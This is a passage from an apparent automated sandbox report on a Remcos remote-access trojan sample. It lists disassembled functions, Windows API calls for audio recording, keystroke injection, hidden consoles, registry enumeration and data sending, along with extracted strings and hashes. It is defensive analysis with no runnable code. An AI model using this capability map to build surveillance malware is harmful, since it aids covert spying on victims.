                      • Opcode Fuzzy Hash: ad8ba90a2921d66a3c12ccf8c1a2d8e4c0e0e91c69b7ff21a65ebece821e0ee7
                      • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                      Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                      Download Yara Rule
                      APIs
                      • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                      • int.LIBCPMT ref: 00410E81
                        • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                        • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                      • std::_Facet_Register.LIBCPMT ref: 00410EC1
                      • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                      • __Init_thread_footer.LIBCMT ref: 00410F29
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                      • String ID: ,kG$0kG
                      • API String ID: 3815856325-2015055088
                      • Opcode ID: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                      • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                      • Opcode Fuzzy Hash: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                      • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                      Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                      Download Yara Rule
                      APIs
                      • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                      • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
                      • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                      • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                      • waveInStart.WINMM ref: 00401CFE
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                      • String ID: dMG$|MG$PG
                      • API String ID: 1356121797-532278878
                      • Opcode ID: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                      • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                      • Opcode Fuzzy Hash: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                      • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                      Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                        • Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
                        • Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
                        • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                      • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                      • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                      • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                      • TranslateMessage.USER32(?), ref: 0041D4E9
                      • DispatchMessageA.USER32 ref: 0041D4F3
                      • GetMessageA.USER32 ref: 0041D500
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                      • String ID: Remcos
                      • API String ID: 1970332568-165870891
                      • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                      • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                      • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                      • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                      Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                      • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                      • Opcode Fuzzy Hash: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                      • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                      Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • _memcmp.LIBVCRUNTIME ref: 00445423
                      • _free.LIBCMT ref: 00445494
                      • _free.LIBCMT ref: 004454AD
                      • _free.LIBCMT ref: 004454DF
                      • _free.LIBCMT ref: 004454E8
                      • _free.LIBCMT ref: 004454F4
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorLast$_abort_memcmp
                      • String ID: C
                      • API String ID: 1679612858-1037565863
                      • Opcode ID: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                      • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                      • Opcode Fuzzy Hash: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                      • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                      Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: tcp$udp
                      • API String ID: 0-3725065008
                      • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                      • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                      • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                      • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                      Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                      Download Yara Rule
                      APIs
                      • __Init_thread_footer.LIBCMT ref: 004018BE
                      • ExitThread.KERNEL32 ref: 004018F6
                      • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                      • String ID: PkG$XMG$NG$NG
                      • API String ID: 1649129571-3151166067
                      • Opcode ID: ba566b2bcffd62b07427d49ae3ebc7342764cdae8398bd1dd78868eb88b0c1be
                      • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                      • Opcode Fuzzy Hash: ba566b2bcffd62b07427d49ae3ebc7342764cdae8398bd1dd78868eb88b0c1be
                      • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                      Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
                      • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • CloseHandle.KERNEL32(00000000), ref: 00407A4D
                      • MoveFileW.KERNEL32 ref: 00407A6A
                      • CloseHandle.KERNEL32(00000000), ref: 00407A95
                      • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                        • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(00000000,000000FF,?,00474EF8,00404C49,00000000,00000000,00000000,?,00474EF8,?), ref: 00404BA5
                        • Part of subcall function 00404B96: SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                      • String ID: .part
                      • API String ID: 1303771098-3499674018
                      • Opcode ID: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                      • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                      • Opcode Fuzzy Hash: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                      • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                      Function 0041CD9B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48memoryCOMMON
                      Download Yara Rule
                      APIs
                      • AllocConsole.KERNEL32 ref: 0041CDA4
                      • GetConsoleWindow.KERNEL32 ref: 0041CDAA
                      • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                      • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Console$Window$AllocOutputShow
                      • String ID: Remcos v$5.1.0 Pro$CONOUT$
                      • API String ID: 4067487056-1043272453
                      • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                      • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                      • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                      • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                      Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                      Download Yara Rule
                      APIs
                      • SendInput.USER32(00000001,?,0000001C), ref: 004199CC
                      • SendInput.USER32(00000001,?,0000001C), ref: 004199ED
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A21
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A37
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A54
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
                      • SendInput.USER32(00000001,?,0000001C), ref: 00419A8B
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InputSend
                      • String ID:
                      • API String ID: 3431551938-0
                      • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                      • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                      • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                      • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                      Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __freea$__alloca_probe_16_free
                      • String ID: a/p$am/pm$zD
                      • API String ID: 2936374016-2723203690
                      • Opcode ID: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                      • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                      • Opcode Fuzzy Hash: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                      • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                      Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                      • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                      • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Enum$InfoQueryValue
                      • String ID: [regsplt]$xUG$TG
                      • API String ID: 3554306468-1165877943
                      • Opcode ID: b730b8f01de3b61de9bdc309d271c932a797a33a56bfebd36572143352d58066
                      • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                      • Opcode Fuzzy Hash: b730b8f01de3b61de9bdc309d271c932a797a33a56bfebd36572143352d58066
                      • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                      Function 10009492 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                      Download Yara Rule
                      APIs
                      • GetConsoleCP.KERNEL32 ref: 100094D4
                      • __fassign.LIBCMT ref: 1000954F
                      • __fassign.LIBCMT ref: 1000956A
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 10009590
                      • WriteFile.KERNEL32(?,?,00000000,10009C07,00000000), ref: 100095AF
                      • WriteFile.KERNEL32(?,?,00000001,10009C07,00000000), ref: 100095E8
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                      • String ID:
                      • API String ID: 1324828854-0
                      • Opcode ID: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                      • Instruction ID: 7b1e32e7ca62d622bc6abd4954a79b3a1191cf35157f5551c2bc05612337e78d
                      • Opcode Fuzzy Hash: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                      • Instruction Fuzzy Hash: D7519271D00249AFEB10CFA4CC95BDEBBF8EF09350F15811AE955E7295D731AA41CB60
                      Function 0044B3BC Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetConsoleCP.KERNEL32 ref: 0044B3FE
                      • __fassign.LIBCMT ref: 0044B479
                      • __fassign.LIBCMT ref: 0044B494
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                      • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
                      • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                      • String ID:
                      • API String ID: 1324828854-0
                      • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                      • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                      • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                      • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                      Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID: D[E$D[E
                      • API String ID: 269201875-3695742444
                      • Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                      • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                      • Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                      • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                      Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExW.ADVAPI32 ref: 00413D46
                        • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                        • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • RegCloseKey.ADVAPI32(00000000), ref: 00413EB4
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEnumInfoOpenQuerysend
                      • String ID: xUG$NG$NG$TG
                      • API String ID: 3114080316-2811732169
                      • Opcode ID: 802e9508fef025947739c5bae761a2cd58990dc39e1d6aaec5872de69637945a
                      • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                      • Opcode Fuzzy Hash: 802e9508fef025947739c5bae761a2cd58990dc39e1d6aaec5872de69637945a
                      • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                      Function 10003370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                      Download Yara Rule
                      APIs
                      • _ValidateLocalCookies.LIBCMT ref: 1000339B
                      • ___except_validate_context_record.LIBVCRUNTIME ref: 100033A3
                      • _ValidateLocalCookies.LIBCMT ref: 10003431
                      • __IsNonwritableInCurrentImage.LIBCMT ref: 1000345C
                      • _ValidateLocalCookies.LIBCMT ref: 100034B1
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                      • String ID: csm
                      • API String ID: 1170836740-1018135373
                      • Opcode ID: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                      • Instruction ID: 0a936c430148d26a69835db3fa9f683d01d5328c1142e13f0191aacd949c771e
                      • Opcode Fuzzy Hash: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                      • Instruction Fuzzy Hash: D141D678E042189BEB12CF68C880A9FBBF9EF453A4F10C155E9159F25AD731FA01CB91
                      Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
                        • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                        • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                        • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF
                      • _wcslen.LIBCMT ref: 0041B763
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
                      • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                      • API String ID: 3286818993-122982132
                      • Opcode ID: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                      • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                      • Opcode Fuzzy Hash: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                      • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                      Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                        • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                        • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                      • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                      • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                      Strings
                      Memory Dump Source
